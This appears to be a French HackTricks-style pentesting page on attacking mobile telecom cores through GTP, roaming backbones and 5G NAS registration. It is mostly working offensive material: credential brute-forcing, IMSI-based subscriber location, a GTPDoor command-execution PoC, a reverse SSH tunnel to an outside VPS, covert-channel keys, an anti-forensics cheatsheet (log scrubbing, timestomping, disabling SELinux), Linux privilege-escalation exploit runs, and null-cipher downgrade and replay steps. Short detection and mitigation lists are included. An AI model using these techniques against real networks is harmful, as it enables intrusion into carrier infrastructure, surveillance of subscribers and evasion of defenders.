248 lines
13 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Exploitation de réseaux télécom (GTP / environnements de roaming)
{{#include ../../banners/hacktricks-training.md}}
> [!NOTE]
> Les protocoles du cœur mobile (GPRS Tunnelling Protocol GTP) traversent souvent des backbones de roaming GRX/IPX semi-fiables. Parce qu'ils circulent sur UDP en clair avec presque aucune authentification, **tout point d'appui à l'intérieur d'un périmètre télécom peut généralement atteindre directement les plans de signalisation cœur**. Les notes suivantes rassemblent des techniques offensives observées sur le terrain contre SGSN/GGSN, PGW/SGW et autres nœuds EPC.
## 1. Recon & Initial Access
### 1.1 Comptes OSS / NE par défaut
Un nombre étonnamment important d'éléments réseau fournis par les vendors sont livrés avec des utilisateurs SSH/Telnet codés en dur tels que `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Un wordlist dédié augmente drastiquement le succès du brute-force:
```bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
```
Si l'appareil n'expose qu'une VRF de management, pivot through a jump host first (voir la section «SGSN Emu Tunnel» ci-dessous).
### 1.2 Découverte d'hôtes dans GRX/IPX
La plupart des opérateurs GRX autorisent encore les **ICMP echo** à travers le backbone. Combinez `masscan` avec les probes UDP `gtpv1` intégrées pour cartographier rapidement les listeners GTP-C :
```bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
```
## 2. Énumération des abonnés `cordscan`
L'outil Go suivant génère des paquets **GTP-C Create PDP Context Request** et enregistre les réponses. Chaque réponse révèle le **SGSN / MME** actuel servant l'IMSI interrogé et, parfois, le PLMN visité de labonné.
```bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
```
Options clés :
- `--imsi` IMSI de l'abonné cible
- `--oper` Home / HNI (MCC+MNC)
- `-w` Écrire les paquets bruts dans un pcap
Des constantes importantes à l'intérieur du binaire peuvent être patchées pour élargir les scans :
```
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
```
## 3. Exécution de code via GTP `GTPDoor`
`GTPDoor` est un petit service ELF qui **écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant**. Lorsque la charge utile commence par un tag pré-partagé, le reste est déchiffré (AES-128-CBC) et exécuté via `/bin/sh -c`. Les flux stdout/stderr sont exfiltrés à l'intérieur de messages **Echo Response** de sorte qu'aucune session sortante ne soit créée.
Paquet PoC minimal (Python):
```python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
```
Détection :
* tout hôte envoyant des **unbalanced Echo Requests** aux IPs SGSN
* GTP version flag réglé sur 1 alors que message type = 1 (Echo) déviation par rapport à la spécification
## 4. Pivoting Through the Core
### 4.1 `sgsnemu` + SOCKS5
`OsmoGGSN` fournit un émulateur SGSN capable de **establish a PDP context towards a real GGSN/PGW**. Une fois négocié, Linux reçoit une nouvelle interface `tun0` accessible depuis le roaming peer.
```bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
```
Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le **data plane**.
### 4.2 SSH Reverse Tunnel over Port 53
DNS est presque toujours ouvert dans les infrastructures en roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
```bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
```
Vérifiez que `GatewayPorts yes` est activé sur le VPS.
## 5. Canaux cachés
| Canal | Transport | Décodage | Remarques |
|---------|-----------|----------|-------|
| ICMP `EchoBackdoor` | ICMP Echo Req/Rep | clé de 4 octets + blocs de 14 octets (XOR) | écoute purement passive, pas de trafic sortant |
| DNS `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) encodé dans les octets d'enregistrement A | surveille le sous-domaine `*.nodep` |
| GTP `GTPDoor` | UDP 2123 | blob AES-128-CBC dans un IE privé | se fond dans le trafic légitime GTP-C |
Tous les implants implémentent des watchdogs qui **timestomp** leurs binaries et se re-spawnent en cas de crash.
## 6. Cheatsheet d'évasion des défenses
```bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
```
## 7. Privilege Escalation sur Legacy NE
```bash
# DirtyCow CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit CVE-2021-3156
python3 exploit_userspec.py
```
Astuce de nettoyage :
```bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
```
## 8. Boîte à outils
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` outils personnalisés décrits dans les sections précédentes.
* `FScan` : balayages TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
* `Responder` : LLMNR/NBT-NS rogue WPAD
* `Microsocks` + `ProxyChains` : pivot léger SOCKS5
* `FRP` (≥0.37) : NAT traversal / asset bridging
## 9. Attaques d'enregistrement NAS 5G : SUCI leaks, rétrogradation vers EEA0/EIA0, et NAS replay
La procédure d'enregistrement 5G s'exécute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'à ce que la sécurité NAS soit activée par Security Mode Command/Complete, les messages initiaux ne sont pas authentifiés ni chiffrés. Cette fenêtre pré-sécurité permet plusieurs vecteurs d'attaque lorsqu'on peut observer ou altérer le trafic N2 (par exemple, on-path dans le core, rogue gNB, ou testbed).
Registration flow (simplifié) :
- Registration Request : UE envoie SUCI (SUPI chiffré) et capacités.
- Authentication : AMF/AUSF envoient RAND/AUTN ; l'UE retourne RES*.
- Security Mode Command/Complete : intégrité et chiffrement NAS sont négociés et activés.
- PDU Session Establishment : configuration IP/QoS.
Conseils de configuration de laboratoire (non-RF) :
- Core : un déploiement par défaut Open5GS suffit pour reproduire les flows.
- UE : simulateur ou UE de test ; décodage avec Wireshark.
- Outils actifs : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtres d'affichage utiles dans Wireshark :
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
### 9.1 Confidentialité des identifiants : défaillances SUCI exposant SUPI/IMSI
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'attache). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant un suivi persistant des abonnés.
Comment tester :
- Capturez le premier message NAS dans l'InitialUEMessage et inspectez le Mobile Identity IE.
- Vérifications rapides dans Wireshark :
- Il doit être décodé comme SUCI, pas IMSI.
- Exemples de filtres : `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` doit exister ; l'absence de celui-ci avec la présence de `imsi` indique une fuite.
Que collecter :
- MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les emplacements.
Atténuation :
- Imposer des UEs/USIMs SUCI-only ; générer une alerte sur toute présence d'IMSI/SUPI dans le NAS initial.
### 9.2 Forçage des capacités vers des algorithmes nuls (EEA0/EIA0)
Contexte :
- L'UE annonce les EEA (chiffrement) et EIA (intégrité) supportés dans le UE Security Capability IE de la Registration Request.
- Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes nuls.
Problème :
- Parce que la Registration Request n'est pas protégée en intégrité, un attaquant on-path peut effacer des bits de capacité pour contraindre la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certaines stacks autorisent incorrectement des algorithmes nuls hors des services d'urgence.
Étapes offensives :
- Interceptez l'InitialUEMessage et modifiez le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
- Avec Sni5Gect, hookez le message NAS et patcher les bits de capacité avant de le relayer.
- Observez si l'AMF accepte des chiffrement/integrité nuls et complète le Security Mode avec EEA0/EIA0.
Vérification/visibilité :
- Dans Wireshark, confirmez les algorithmes sélectionnés après Security Mode Command/Complete.
- Exemple de sortie d'un sniffer passif :
```
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
```
Mesures d'atténuation (obligatoires) :
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement requis (p.ex., appels d'urgence).
- Préférer l'application d'EEA2/EIA2 au minimum ; journaliser et déclencher des alertes sur tout contexte de sécurité NAS qui négocie des algorithmes nuls.
### 9.3 Rejeu de la Registration Request initiale (NAS non sécurisé)
Parce que le NAS initial ne garantit pas intégrité ni fraîcheur, un InitialUEMessage+Registration Request capturé peut être rejoué à l'AMF.
PoC rule for 5GReplay to forward matching replays:
```xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
```
À observer :
- Si l'AMF accepte le replay et passe à l'Authentication ; l'absence de validation de fraîcheur/contexte indique une exposition.
Mitigations :
- Appliquer une protection contre le replay et le binding de contexte au niveau de l'AMF ; limiter le débit et corréler par GNB/UE.
### 9.4 Conseils d'outillage (reproductible)
- Open5GS : déployer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
- Wireshark : vérifier les décodages de NGAP/NAS ; appliquer les filtres cidessus pour isoler la Registration.
- 5GReplay : capturer une Registration, puis rejouer des messages NGAP + NAS spécifiques conformément à la règle.
- Sni5Gect : sniff/modify/inject en direct le plan de contrôle NAS pour contraindre des algorithmes null ou perturber les séquences d'Authentication.
### 9.5 Checklist défensive
- Inspecter en continu les Registration Request à la recherche de SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
- Rejeter EEA0/EIA0 sauf procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
- Détecter l'infrastructure rogue ou mal configurée : gNB/AMF non autorisés, pairs N2 inattendus.
- Alerter sur les modes de sécurité NAS qui aboutissent à des algorithmes null ou à des replays fréquents d'InitialUEMessage.
---
## Idées de détection
1. **Tout appareil autre qu'un SGSN/GGSN établissant des Create PDP Context Requests**.
2. **Ports non standard (53, 80, 443) recevant des SSH handshakes** depuis des IP internes.
3. **Echo Requests fréquentes sans Echo Responses correspondantes** peut indiquer des beacons GTPDoor.
4. **Taux élevé de trafic ICMP echo-reply avec de grands champs identifier/sequence non nuls**.
5. 5G : **InitialUEMessage contenant des NAS Registration Requests répétés depuis des endpoints identiques** (signal de replay).
6. 5G : **NAS Security Mode négociant EEA0/EIA0** en dehors de contextes d'urgence.
## Références
- [Palo Alto Unit42 Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
- 3GPP TS 29.060 GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 GTPv2-C (v17.6.0)
- [Demystifying 5G Security: Understanding the Registration Protocol](https://bishopfox.com/blog/demystifying-5g-security-understanding-the-registration-protocol)
- 3GPP TS 24.501 Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 Security architecture and procedures for 5G System
{{#include ../../banners/hacktricks-training.md}}